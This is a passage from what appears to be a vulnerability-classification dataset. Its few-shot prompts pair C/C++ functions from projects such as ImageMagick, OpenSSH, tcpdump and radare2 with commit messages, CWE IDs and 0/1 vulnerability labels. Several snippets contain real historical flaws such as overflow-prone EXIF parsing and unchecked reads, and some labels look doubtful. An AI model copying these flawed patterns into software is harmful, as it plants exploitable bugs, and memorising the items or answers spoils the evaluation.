tag|=(c-('A'-10));
else
if ((c >= 'a') && (c <= 'f'))
tag|=(c-('a'-10));
else
return(MagickFalse);
}
} while (*property != '\0');
break;
}
default:
{
/*
Try to match the text with a tag name instead.
*/
for (i=0; ; i++)
{
if (EXIFTag[i].tag == 0)
break;
if (LocaleCompare(EXIFTag[i].description,property) == 0)
{
tag=(size_t) EXIFTag[i].tag;
break;
}
}
break;
}
}
if (tag == (~0UL))
return(MagickFalse);
length=GetStringInfoLength(profile);
exif=GetStringInfoDatum(profile);
while (length != 0)
{
if (ReadPropertyByte(&exif,&length) != 0x45)
continue;
if (ReadPropertyByte(&exif,&length) != 0x78)
continue;
if (ReadPropertyByte(&exif,&length) != 0x69)
continue;
if (ReadPropertyByte(&exif,&length) != 0x66)
continue;
if (ReadPropertyByte(&exif,&length) != 0x00)
continue;
if (ReadPropertyByte(&exif,&length) != 0x00)
continue;
break;
}
if (length < 16)
return(MagickFalse);
id=(ssize_t) ReadPropertySignedShort(LSBEndian,exif);
endian=LSBEndian;
if (id == 0x4949)
endian=LSBEndian;
else
if (id == 0x4D4D)
endian=MSBEndian;
else
return(MagickFalse);
if (ReadPropertyUnsignedShort(endian,exif+2) != 0x002a)
return(MagickFalse);
/*
This the offset to the first IFD.
*/
offset=(ssize_t) ReadPropertySignedLong(endian,exif+4);
if ((offset < 0) || (size_t) offset >= length)
return(MagickFalse);
/*
Set the pointer to the first IFD and follow it were it leads.
*/
status=MagickFalse;
directory=exif+offset;
level=0;
entry=0;
tag_offset=0;
exif_resources=NewSplayTree((int (*)(const void *,const void *)) NULL,
(void *(*)(void *)) NULL,(void *(*)(void *)) NULL);
do
{
/*
If there is anything on the stack then pop it off.
*/
if (level > 0)
{
level--;
directory=directory_stack[level].directory;
entry=directory_stack[level].entry;
tag_offset=directory_stack[level].offset;
}
if ((directory < exif) || (directory > (exif+length-2)))
break;
/*
Determine how many entries there are in the current IFD.
*/
number_entries=(size_t) ReadPropertyUnsignedShort(endian,directory);
for ( ; entry < number_entries; entry++)
{
register unsigned char
*p,
*q;
size_t
format;
ssize_t
number_bytes,
components;
q=(unsigned char *) (directory+(12*entry)+2);
if (GetValueFromSplayTree(exif_resources,q) == q)
break;
(void) AddValueToSplayTree(exif_resources,q,q);
tag_value=(size_t) ReadPropertyUnsignedShort(endian,q)+tag_offset;
format=(size_t) ReadPropertyUnsignedShort(endian,q+2);
if (format >= (sizeof(tag_bytes)/sizeof(*tag_bytes)))
break;
components=(ssize_t) ReadPropertySignedLong(endian,q+4);
number_bytes=(size_t) components*tag_bytes[format];
if (number_bytes < components)
break; /* prevent overflow */
if (number_bytes <= 4)
p=q+8;
else
{
ssize_t
offset;
/*
The directory entry contains an offset.
*/
offset=(ssize_t) ReadPropertySignedLong(endian,q+8);
if ((offset < 0) || (size_t) offset >= length)
continue;
if ((ssize_t) (offset+number_bytes) < offset)
continue; /* prevent overflow */
if ((size_t) (offset+number_bytes) > length)
continue;
p=(unsigned char *) (exif+offset);
}
if ((all != 0) || (tag == (size_t) tag_value))
{
char
buffer[MagickPathExtent],
*value;
value=(char *) NULL;
*buffer='\0';
switch (format)
{
case EXIF_FMT_BYTE:
case EXIF_FMT_UNDEFINED:
{
EXIFMultipleValues(1,"%.20g",(double) (*(unsigned char *) p1));
break;
}
case EXIF_FMT_SBYTE:
{
EXIFMultipleValues(1,"%.20g",(double) (*(signed char *) p1));
break;
}
case EXIF_FMT_SSHORT:
{
EXIFMultipleValues(2,"%hd",ReadPropertySignedShort(endian,p1));
break;
}
case EXIF_FMT_USHORT:
{
EXIFMultipleValues(2,"%hu",ReadPropertyUnsignedShort(endian,p1));
break;
}
case EXIF_FMT_ULONG:
{
EXIFMultipleValues(4,"%.20g",(double)
ReadPropertyUnsignedLong(endian,p1));
break;
}
case EXIF_FMT_SLONG:
{
EXIFMultipleValues(4,"%.20g",(double)
ReadPropertySignedLong(endian,p1));
break;
}
case EXIF_FMT_URATIONAL:
{
EXIFMultipleFractions(8,"%.20g/%.20g",(double)
ReadPropertyUnsignedLong(endian,p1),(double)
ReadPropertyUnsignedLong(endian,p1+4));
break;
}
case EXIF_FMT_SRATIONAL:
{
EXIFMultipleFractions(8,"%.20g/%.20g",(double)
ReadPropertySignedLong(endian,p1),(double)
ReadPropertySignedLong(endian,p1+4));
break;
}
case EXIF_FMT_SINGLE:
{
EXIFMultipleValues(4,"%f",(double) *(float *) p1);
break;
}
case EXIF_FMT_DOUBLE:
{
EXIFMultipleValues(8,"%f",*(double *) p1);
break;
}
default:
case EXIF_FMT_STRING:
{
value=(char *) NULL;
if (~((size_t) number_bytes) >= 1)
value=(char *) AcquireQuantumMemory((size_t) number_bytes+1UL,
sizeof(*value));
if (value != (char *) NULL)
{
register ssize_t
i;
for (i=0; i < (ssize_t) number_bytes; i++)
{
value[i]='.';
if ((isprint((int) p[i]) != 0) || (p[i] == '\0'))
value[i]=(char) p[i];
}
value[i]='\0';
}
break;
}
}
if (value != (char *) NULL)
{
char
*key;
register const char
*p;
key=AcquireString(property);
switch (all)
{
case 1:
{
const char
*description;
register ssize_t
i;
description="unknown";
for (i=0; ; i++)
{
if (EXIFTag[i].tag == 0)
break;
if (EXIFTag[i].tag == tag_value)
{
description=EXIFTag[i].description;
break;
}
}
(void) FormatLocaleString(key,MagickPathExtent,"%s",
description);
if (level == 2)
(void) SubstituteString(&key,"exif:","exif:thumbnail:");
break;
}
case 2:
{
if (tag_value < 0x10000)
(void) FormatLocaleString(key,MagickPathExtent,"#%04lx",
(unsigned long) tag_value);
else
if (tag_value < 0x20000)
(void) FormatLocaleString(key,MagickPathExtent,"@%04lx",
(unsigned long) (tag_value & 0xffff));
else
(void) FormatLocaleString(key,MagickPathExtent,"unknown");
break;
}
default:
{
if (level == 2)
(void) SubstituteString(&key,"exif:","exif:thumbnail:");
}
}
p=(const char *) NULL;
if (image->properties != (void *) NULL)
p=(const char *) GetValueFromSplayTree((SplayTreeInfo *)
image->properties,key);
if (p == (const char *) NULL)
(void) SetImageProperty((Image *) image,key,value,exception);
value=DestroyString(value);
key=DestroyString(key);
status=MagickTrue;
}
}
if ((tag_value == TAG_EXIF_OFFSET) ||
(tag_value == TAG_INTEROP_OFFSET) || (tag_value == TAG_GPS_OFFSET))
{
ssize_t
offset;
offset=(ssize_t) ReadPropertySignedLong(endian,p);
if (((size_t) offset < length) && (level < (MaxDirectoryStack-2)))
{
ssize_t
tag_offset1;
tag_offset1=(ssize_t) ((tag_value == TAG_GPS_OFFSET) ? 0x10000 :
0);
directory_stack[level].directory=directory;
entry++;
directory_stack[level].entry=entry;
directory_stack[level].offset=tag_offset;
level++;
directory_stack[level].directory=exif+offset;
directory_stack[level].offset=tag_offset1;
directory_stack[level].entry=0;
level++;
if ((directory+2+(12*number_entries)) > (exif+length))
break;
offset=(ssize_t) ReadPropertySignedLong(endian,directory+2+(12*
number_entries));
if ((offset != 0) && ((size_t) offset < length) &&
(level < (MaxDirectoryStack-2)))
{
directory_stack[level].directory=exif+offset;
directory_stack[level].entry=0;
directory_stack[level].offset=tag_offset1;
level++;
}
}
break;
}
}
} while (level > 0);
exif_resources=DestroySplayTree(exif_resources);
return(status);
}
Commit Message: Improve checking of EXIF profile to prevent integer overflow (bug report from Ibrahim el-sayed)
CWE ID: CWE-125
Target: 1
Example 2:
Code: void GDataFileSystem::OnGetEntryInfoForCreateFile(
const FilePath& file_path,
bool is_exclusive,
const FileOperationCallback& callback,
GDataFileError result,
GDataEntry* entry) {
DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));
if (result != GDATA_FILE_ERROR_NOT_FOUND &&
result != GDATA_FILE_OK) {
if (!callback.is_null())
callback.Run(result);
return;
}
if (result == GDATA_FILE_OK) {
if (is_exclusive ||
!entry->AsGDataFile() ||
entry->AsGDataFile()->is_hosted_document()) {
if (!callback.is_null())
callback.Run(GDATA_FILE_ERROR_EXISTS);
return;
}
if (!callback.is_null())
callback.Run(GDATA_FILE_OK);
return;
}
TransferRegularFile(FilePath(kEmptyFilePath), file_path, callback);
}
Commit Message: Remove parent* arg from GDataEntry ctor.
* Remove static FromDocumentEntry from GDataEntry, GDataFile, GDataDirectory. Replace with InitFromDocumentEntry.
* Move common code from GDataFile::InitFromDocumentEntry and GDataDirectory::InitFromDocumentEntry to GDataEntry::InitFromDocumentEntry.
* Add GDataDirectoryService::FromDocumentEntry and use this everywhere.
* Make ctors of GDataFile, GDataDirectory private, so these must be created by GDataDirectoryService's CreateGDataFile and
CreateGDataDirectory. Make GDataEntry ctor protected.
BUG=141494
TEST=unit tests.
Review URL: https://chromiumcodereview.appspot.com/10854083
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@151008 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: buffer_add_range(int fd, struct evbuffer *evb, struct range *range)
{
char buf[BUFSIZ];
size_t n, range_sz;
ssize_t nread;
if (lseek(fd, range->start, SEEK_SET) == -1)
return (0);
range_sz = range->end - range->start + 1;
while (range_sz) {
n = MINIMUM(range_sz, sizeof(buf));
if ((nread = read(fd, buf, n)) == -1)
return (0);
evbuffer_add(evb, buf, nread);
range_sz -= nread;
}
return (1);
}
Commit Message: Reimplement httpd's support for byte ranges.
The previous implementation loaded all the output into a single output
buffer and used its size to determine the Content-Length of the body.
The new implementation calculates the body length first and writes the
individual ranges in an async way using the bufferevent mechanism.
This prevents httpd from using too much memory and applies the
watermark and throttling mechanisms to range requests.
Problem reported by Pierre Kim (pierre.kim.sec at gmail.com)
OK benno@ sunil@
CWE ID: CWE-770
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: void CancelHandwriting(int n_strokes) {
IBusInputContext* context = GetInputContext(input_context_path_, ibus_);
if (!context) {
return;
}
ibus_input_context_cancel_hand_writing(context, n_strokes);
g_object_unref(context);
}
Commit Message: Remove use of libcros from InputMethodLibrary.
BUG=chromium-os:16238
TEST==confirm that input methods work as before on the netbook. Also confirm that the chrome builds and works on the desktop as before.
Review URL: http://codereview.chromium.org/7003086
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@89142 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
Target: 1
Example 2:
Code: static int vmxnet3_get_rxq_descr(QEMUFile *f, void *pv, size_t size)
{
Vmxnet3RxqDescr *r = pv;
int i;
for (i = 0; i < VMXNET3_RX_RINGS_PER_QUEUE; i++) {
vmxnet3_get_ring_from_file(f, &r->rx_ring[i]);
}
vmxnet3_get_ring_from_file(f, &r->comp_ring);
r->intr_idx = qemu_get_byte(f);
r->rx_stats_pa = qemu_get_be64(f);
vmxnet3_get_rx_stats_from_file(f, &r->rxq_stats);
return 0;
}
Commit Message:
CWE ID: CWE-200
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: do_setup_env(Session *s, const char *shell)
{
struct ssh *ssh = active_state; /* XXX */
char buf[256];
u_int i, envsize;
char **env, *laddr;
struct passwd *pw = s->pw;
#if !defined (HAVE_LOGIN_CAP) && !defined (HAVE_CYGWIN)
char *path = NULL;
#endif
/* Initialize the environment. */
envsize = 100;
env = xcalloc(envsize, sizeof(char *));
env[0] = NULL;
#ifdef HAVE_CYGWIN
/*
* The Windows environment contains some setting which are
* important for a running system. They must not be dropped.
*/
{
char **p;
p = fetch_windows_environment();
copy_environment(p, &env, &envsize);
free_windows_environment(p);
}
#endif
#ifdef GSSAPI
/* Allow any GSSAPI methods that we've used to alter
* the childs environment as they see fit
*/
ssh_gssapi_do_child(&env, &envsize);
#endif
if (!options.use_login) {
/* Set basic environment. */
for (i = 0; i < s->num_env; i++)
child_set_env(&env, &envsize, s->env[i].name,
s->env[i].val);
child_set_env(&env, &envsize, "USER", pw->pw_name);
child_set_env(&env, &envsize, "LOGNAME", pw->pw_name);
#ifdef _AIX
child_set_env(&env, &envsize, "LOGIN", pw->pw_name);
#endif
child_set_env(&env, &envsize, "HOME", pw->pw_dir);
#ifdef HAVE_LOGIN_CAP
if (setusercontext(lc, pw, pw->pw_uid, LOGIN_SETPATH) < 0)
child_set_env(&env, &envsize, "PATH", _PATH_STDPATH);
else
child_set_env(&env, &envsize, "PATH", getenv("PATH"));
#else /* HAVE_LOGIN_CAP */
# ifndef HAVE_CYGWIN
/*
* There's no standard path on Windows. The path contains
* important components pointing to the system directories,
* needed for loading shared libraries. So the path better
* remains intact here.
*/
# ifdef HAVE_ETC_DEFAULT_LOGIN
read_etc_default_login(&env, &envsize, pw->pw_uid);
path = child_get_env(env, "PATH");
# endif /* HAVE_ETC_DEFAULT_LOGIN */
if (path == NULL || *path == '\0') {
child_set_env(&env, &envsize, "PATH",
s->pw->pw_uid == 0 ?
SUPERUSER_PATH : _PATH_STDPATH);
}
# endif /* HAVE_CYGWIN */
#endif /* HAVE_LOGIN_CAP */
snprintf(buf, sizeof buf, "%.200s/%.50s",
_PATH_MAILDIR, pw->pw_name);
child_set_env(&env, &envsize, "MAIL", buf);
/* Normal systems set SHELL by default. */
child_set_env(&env, &envsize, "SHELL", shell);
}
if (getenv("TZ"))
child_set_env(&env, &envsize, "TZ", getenv("TZ"));
/* Set custom environment options from RSA authentication. */
if (!options.use_login) {
while (custom_environment) {
struct envstring *ce = custom_environment;
char *str = ce->s;
for (i = 0; str[i] != '=' && str[i]; i++)
;
if (str[i] == '=') {
str[i] = 0;
child_set_env(&env, &envsize, str, str + i + 1);
}
custom_environment = ce->next;
free(ce->s);
free(ce);
}
}
/* SSH_CLIENT deprecated */
snprintf(buf, sizeof buf, "%.50s %d %d",
ssh_remote_ipaddr(ssh), ssh_remote_port(ssh),
ssh_local_port(ssh));
child_set_env(&env, &envsize, "SSH_CLIENT", buf);
laddr = get_local_ipaddr(packet_get_connection_in());
snprintf(buf, sizeof buf, "%.50s %d %.50s %d",
ssh_remote_ipaddr(ssh), ssh_remote_port(ssh),
laddr, ssh_local_port(ssh));
free(laddr);
child_set_env(&env, &envsize, "SSH_CONNECTION", buf);
if (s->ttyfd != -1)
child_set_env(&env, &envsize, "SSH_TTY", s->tty);
if (s->term)
child_set_env(&env, &envsize, "TERM", s->term);
if (s->display)
child_set_env(&env, &envsize, "DISPLAY", s->display);
if (original_command)
child_set_env(&env, &envsize, "SSH_ORIGINAL_COMMAND",
original_command);
#ifdef _UNICOS
if (cray_tmpdir[0] != '\0')
child_set_env(&env, &envsize, "TMPDIR", cray_tmpdir);
#endif /* _UNICOS */
/*
* Since we clear KRB5CCNAME at startup, if it's set now then it
* must have been set by a native authentication method (eg AIX or
* SIA), so copy it to the child.
*/
{
char *cp;
if ((cp = getenv("KRB5CCNAME")) != NULL)
child_set_env(&env, &envsize, "KRB5CCNAME", cp);
}
#ifdef _AIX
{
char *cp;
if ((cp = getenv("AUTHSTATE")) != NULL)
child_set_env(&env, &envsize, "AUTHSTATE", cp);
read_environment_file(&env, &envsize, "/etc/environment");
}
#endif
#ifdef KRB5
if (s->authctxt->krb5_ccname)
child_set_env(&env, &envsize, "KRB5CCNAME",
s->authctxt->krb5_ccname);
#endif
#ifdef USE_PAM
/*
* Pull in any environment variables that may have
* been set by PAM.
*/
if (options.use_pam) {
char **p;
p = fetch_pam_child_environment();
copy_environment(p, &env, &envsize);
free_pam_environment(p);
p = fetch_pam_environment();
copy_environment(p, &env, &envsize);
free_pam_environment(p);
}
#endif /* USE_PAM */
if (auth_sock_name != NULL)
child_set_env(&env, &envsize, SSH_AUTHSOCKET_ENV_NAME,
auth_sock_name);
/* read $HOME/.ssh/environment. */
if (options.permit_user_env && !options.use_login) {
snprintf(buf, sizeof buf, "%.200s/.ssh/environment",
strcmp(pw->pw_dir, "/") ? pw->pw_dir : "");
read_environment_file(&env, &envsize, buf);
}
if (debug_flag) {
/* dump the environment */
fprintf(stderr, "Environment:\n");
for (i = 0; env[i]; i++)
fprintf(stderr, " %.200s\n", env[i]);
}
return env;
}
Commit Message:
CWE ID: CWE-264
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: OMX_ERRORTYPE SoftAMR::internalGetParameter(
OMX_INDEXTYPE index, OMX_PTR params) {
switch (index) {
case OMX_IndexParamAudioAmr:
{
OMX_AUDIO_PARAM_AMRTYPE *amrParams =
(OMX_AUDIO_PARAM_AMRTYPE *)params;
if (amrParams->nPortIndex != 0) {
return OMX_ErrorUndefined;
}
amrParams->nChannels = 1;
amrParams->eAMRDTXMode = OMX_AUDIO_AMRDTXModeOff;
amrParams->eAMRFrameFormat = OMX_AUDIO_AMRFrameFormatFSF;
if (!isConfigured()) {
amrParams->nBitRate = 0;
amrParams->eAMRBandMode = OMX_AUDIO_AMRBandModeUnused;
} else {
amrParams->nBitRate = 0;
amrParams->eAMRBandMode =
mMode == MODE_NARROW
? OMX_AUDIO_AMRBandModeNB0 : OMX_AUDIO_AMRBandModeWB0;
}
return OMX_ErrorNone;
}
case OMX_IndexParamAudioPcm:
{
OMX_AUDIO_PARAM_PCMMODETYPE *pcmParams =
(OMX_AUDIO_PARAM_PCMMODETYPE *)params;
if (pcmParams->nPortIndex != 1) {
return OMX_ErrorUndefined;
}
pcmParams->nChannels = 1;
pcmParams->eNumData = OMX_NumericalDataSigned;
pcmParams->eEndian = OMX_EndianBig;
pcmParams->bInterleaved = OMX_TRUE;
pcmParams->nBitPerSample = 16;
pcmParams->nSamplingRate =
(mMode == MODE_NARROW) ? kSampleRateNB : kSampleRateWB;
pcmParams->ePCMMode = OMX_AUDIO_PCMModeLinear;
pcmParams->eChannelMapping[0] = OMX_AUDIO_ChannelLF;
pcmParams->eChannelMapping[1] = OMX_AUDIO_ChannelRF;
return OMX_ErrorNone;
}
default:
return SimpleSoftOMXComponent::internalGetParameter(index, params);
}
}
Commit Message: DO NOT MERGE Verify OMX buffer sizes prior to access
Bug: 27207275
Change-Id: I4412825d1ee233d993af0a67708bea54304ff62d
CWE ID: CWE-119
Target: 1
Example 2:
Code: static int opor(RAsm *a, ut8 * data, const Opcode *op) {
if (op->operands[1].type & OT_CONSTANT) {
if (op->operands[0].type & OT_GPREG &&
op->operands[0].type & OT_WORD) {
return process_16bit_group_1 (a, data, op, 0x08);
}
if (!is_al_reg (&op->operands[0])) {
return process_group_1 (a, data, op);
}
}
return process_1byte_op (a, data, op, 0x08);
}
Commit Message: Fix #12372 and #12373 - Crash in x86 assembler (#12380)
0 ,0,[bP-bL-bP-bL-bL-r-bL-bP-bL-bL-
mov ,0,[ax+Bx-ax+Bx-ax+ax+Bx-ax+Bx--
leA ,0,[bP-bL-bL-bP-bL-bP-bL-60@bL-
leA ,0,[bP-bL-r-bP-bL-bP-bL-60@bL-
mov ,0,[ax+Bx-ax+Bx-ax+ax+Bx-ax+Bx--
CWE ID: CWE-125
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: LIBOPENMPT_MODPLUG_API int ModPlug_GetCurrentOrder(ModPlugFile* file)
{
if(!file) return 0;
return openmpt_module_get_current_order(file->mod);
}
Commit Message: [Fix] libmodplug: C API: Limit the length of strings copied to the output buffer of ModPlug_InstrumentName() and ModPlug_SampleName() to 32 bytes (including terminating null) as is done by original libmodplug. This avoids potential buffer overflows in software relying on this limit instead of querying the required buffer size beforehand. libopenmpt can return strings longer than 32 bytes here beacuse the internal limit of 32 bytes applies to strings encoded in arbitrary character encodings but the API returns them converted to UTF-8, which can be longer. (reported by Antonio Morales Maldonado of Semmle Security Research Team)
git-svn-id: https://source.openmpt.org/svn/openmpt/trunk/OpenMPT@12127 56274372-70c3-4bfc-bfc3-4c3a0b034d27
CWE ID: CWE-120
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: int SoundPool::load(int fd, int64_t offset, int64_t length, int priority __unused)
{
ALOGV("load: fd=%d, offset=%" PRId64 ", length=%" PRId64 ", priority=%d",
fd, offset, length, priority);
Mutex::Autolock lock(&mLock);
sp<Sample> sample = new Sample(++mNextSampleID, fd, offset, length);
mSamples.add(sample->sampleID(), sample);
doLoad(sample);
return sample->sampleID();
}
Commit Message: DO NOT MERGE SoundPool: add lock for findSample access from SoundPoolThread
Sample decoding still occurs in SoundPoolThread
without holding the SoundPool lock.
Bug: 25781119
Change-Id: I11fde005aa9cf5438e0390a0d2dfe0ec1dd282e8
CWE ID: CWE-264
Target: 1
Example 2:
Code: void WebContentsImpl::OnDidDisplayInsecureContent(RenderFrameHostImpl* source) {
DidDisplayInsecureContent();
}
Commit Message: If JavaScript shows a dialog, cause the page to lose fullscreen.
BUG=670135, 550017, 726761, 728276
Review-Url: https://codereview.chromium.org/2906133004
Cr-Commit-Position: refs/heads/master@{#478884}
CWE ID: CWE-20
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: juniper_mlfr_print(netdissect_options *ndo,
const struct pcap_pkthdr *h, register const u_char *p)
{
struct juniper_l2info_t l2info;
l2info.pictype = DLT_JUNIPER_MLFR;
if (juniper_parse_header(ndo, p, h, &l2info) == 0)
return l2info.header_len;
p+=l2info.header_len;
/* suppress Bundle-ID if frame was captured on a child-link */
if (ndo->ndo_eflag && EXTRACT_32BITS(l2info.cookie) != 1)
ND_PRINT((ndo, "Bundle-ID %u, ", l2info.bundle));
switch (l2info.proto) {
case (LLC_UI):
case (LLC_UI<<8):
isoclns_print(ndo, p, l2info.length);
break;
case (LLC_UI<<8 | NLPID_Q933):
case (LLC_UI<<8 | NLPID_IP):
case (LLC_UI<<8 | NLPID_IP6):
/* pass IP{4,6} to the OSI layer for proper link-layer printing */
isoclns_print(ndo, p - 1, l2info.length + 1);
break;
default:
ND_PRINT((ndo, "unknown protocol 0x%04x, length %u", l2info.proto, l2info.length));
}
return l2info.header_len;
}
Commit Message: CVE-2017-12993/Juniper: Add more bounds checks.
This fixes a buffer over-read discovered by Kamil Frankowicz.
Add tests using the capture files supplied by the reporter(s).
CWE ID: CWE-125
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: void IndexedDBCursor::RemoveCursorFromTransaction() {
if (transaction_)
transaction_->UnregisterOpenCursor(this);
}
Commit Message: [IndexedDB] Fix Cursor UAF
If the connection is closed before we return a cursor, it dies in
IndexedDBCallbacks::IOThreadHelper::SendSuccessCursor. It's deleted on
the correct thread, but we also need to makes sure to remove it from its
transaction.
To make things simpler, we have the cursor remove itself from its
transaction on destruction.
R: [email protected]
Bug: 728887
Change-Id: I8c76e6195c2490137a05213e47c635d12f4d3dd2
Reviewed-on: https://chromium-review.googlesource.com/526284
Commit-Queue: Daniel Murphy <[email protected]>
Reviewed-by: Victor Costan <[email protected]>
Cr-Commit-Position: refs/heads/master@{#477504}
CWE ID: CWE-416
Target: 1
Example 2:
Code: static int nfs4_xdr_dec_symlink(struct rpc_rqst *rqstp, struct xdr_stream *xdr,
struct nfs4_create_res *res)
{
return nfs4_xdr_dec_create(rqstp, xdr, res);
}
Commit Message: NFSv4: include bitmap in nfsv4 get acl data
The NFSv4 bitmap size is unbounded: a server can return an arbitrary
sized bitmap in an FATTR4_WORD0_ACL request. Replace using the
nfs4_fattr_bitmap_maxsz as a guess to the maximum bitmask returned by a server
with the inclusion of the bitmap (xdr length plus bitmasks) and the acl data
xdr length to the (cached) acl page data.
This is a general solution to commit e5012d1f "NFSv4.1: update
nfs4_fattr_bitmap_maxsz" and fixes hitting a BUG_ON in xdr_shrink_bufhead
when getting ACLs.
Fix a bug in decode_getacl that returned -EINVAL on ACLs > page when getxattr
was called with a NULL buffer, preventing ACL > PAGE_SIZE from being retrieved.
Cc: [email protected]
Signed-off-by: Andy Adamson <[email protected]>
Signed-off-by: Trond Myklebust <[email protected]>
CWE ID: CWE-189
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: bool AppCacheDatabase::FindCache(int64_t cache_id, CacheRecord* record) {
DCHECK(record);
if (!LazyOpen(kDontCreate))
return false;
static const char kSql[] =
"SELECT cache_id, group_id, online_wildcard, update_time, cache_size"
" FROM Caches WHERE cache_id = ?";
sql::Statement statement(db_->GetCachedStatement(SQL_FROM_HERE, kSql));
statement.BindInt64(0, cache_id);
if (!statement.Step())
return false;
ReadCacheRecord(statement, record);
return true;
}
Commit Message: Reland "AppCache: Add padding to cross-origin responses."
This is a reland of 85b389caa7d725cdd31f59e9a2b79ff54804b7b7
Initialized CacheRecord::padding_size to 0.
Original change's description:
> AppCache: Add padding to cross-origin responses.
>
> Bug: 918293
> Change-Id: I4f16640f06feac009d6bbbb624951da6d2669f6c
> Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1488059
> Commit-Queue: Staphany Park <[email protected]>
> Reviewed-by: Victor Costan <[email protected]>
> Reviewed-by: Marijn Kruisselbrink <[email protected]>
> Cr-Commit-Position: refs/heads/master@{#644624}
Bug: 918293
Change-Id: Ie1d3f99c7e8a854d33255a4d66243da2ce16441c
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1539906
Reviewed-by: Victor Costan <[email protected]>
Commit-Queue: Staphany Park <[email protected]>
Cr-Commit-Position: refs/heads/master@{#644719}
CWE ID: CWE-200
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static PHP_GINIT_FUNCTION(libxml)
{
libxml_globals->stream_context = NULL;
libxml_globals->error_buffer.c = NULL;
libxml_globals->error_list = NULL;
}
Commit Message:
CWE ID: CWE-200
Target: 1
Example 2:
Code: static int copy_from_read_buf(struct tty_struct *tty,
unsigned char __user **b,
size_t *nr)
{
struct n_tty_data *ldata = tty->disc_data;
int retval;
size_t n;
bool is_eof;
size_t head = smp_load_acquire(&ldata->commit_head);
size_t tail = ldata->read_tail & (N_TTY_BUF_SIZE - 1);
retval = 0;
n = min(head - ldata->read_tail, N_TTY_BUF_SIZE - tail);
n = min(*nr, n);
if (n) {
const unsigned char *from = read_buf_addr(ldata, tail);
retval = copy_to_user(*b, from, n);
n -= retval;
is_eof = n == 1 && *from == EOF_CHAR(tty);
tty_audit_add_data(tty, from, n);
smp_store_release(&ldata->read_tail, ldata->read_tail + n);
/* Turn single EOF into zero-length read */
if (L_EXTPROC(tty) && ldata->icanon && is_eof &&
(head == ldata->read_tail))
n = 0;
*b += n;
*nr -= n;
}
return retval;
}
Commit Message: n_tty: fix EXTPROC vs ICANON interaction with TIOCINQ (aka FIONREAD)
We added support for EXTPROC back in 2010 in commit 26df6d13406d ("tty:
Add EXTPROC support for LINEMODE") and the intent was to allow it to
override some (all?) ICANON behavior. Quoting from that original commit
message:
There is a new bit in the termios local flag word, EXTPROC.
When this bit is set, several aspects of the terminal driver
are disabled. Input line editing, character echo, and mapping
of signals are all disabled. This allows the telnetd to turn
off these functions when in linemode, but still keep track of
what state the user wants the terminal to be in.
but the problem turns out that "several aspects of the terminal driver
are disabled" is a bit ambiguous, and you can really confuse the n_tty
layer by setting EXTPROC and then causing some of the ICANON invariants
to no longer be maintained.
This fixes at least one such case (TIOCINQ) becoming unhappy because of
the confusion over whether ICANON really means ICANON when EXTPROC is set.
This basically makes TIOCINQ match the case of read: if EXTPROC is set,
we ignore ICANON. Also, make sure to reset the ICANON state ie EXTPROC
changes, not just if ICANON changes.
Fixes: 26df6d13406d ("tty: Add EXTPROC support for LINEMODE")
Reported-by: Tetsuo Handa <[email protected]>
Reported-by: syzkaller <[email protected]>
Cc: Jiri Slaby <[email protected]>
Signed-off-by: Linus Torvalds <[email protected]>
Signed-off-by: Greg Kroah-Hartman <[email protected]>
CWE ID: CWE-704
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static RList *r_bin_wasm_get_import_entries (RBinWasmObj *bin, RBinWasmSection *sec) {
RList *ret = NULL;
RBinWasmImportEntry *ptr = NULL;
if (!(ret = r_list_newf ((RListFree)free))) {
return NULL;
}
ut8* buf = bin->buf->buf + (ut32)sec->payload_data;
ut32 len = sec->payload_len;
ut32 count = sec->count;
ut32 i = 0, r = 0;
while (i < len && r < count) {
if (!(ptr = R_NEW0 (RBinWasmImportEntry))) {
return ret;
}
if (!(consume_u32 (buf + i, buf + len, &ptr->module_len, &i))) {
goto culvert;
}
if (!(consume_str (buf + i, buf + len, ptr->module_len, ptr->module_str, &i))) {
goto culvert;
}
if (!(consume_u32 (buf + i, buf + len, &ptr->field_len, &i))) {
goto culvert;
}
if (!(consume_str (buf + i, buf + len, ptr->field_len, ptr->field_str, &i))) {
goto culvert;
}
if (!(consume_u8 (buf + i, buf + len, &ptr->kind, &i))) {
goto culvert;
}
switch (ptr->kind) {
case 0: // Function
if (!(consume_u32 (buf + i, buf + len, &ptr->type_f, &i))) {
goto sewer;
}
break;
case 1: // Table
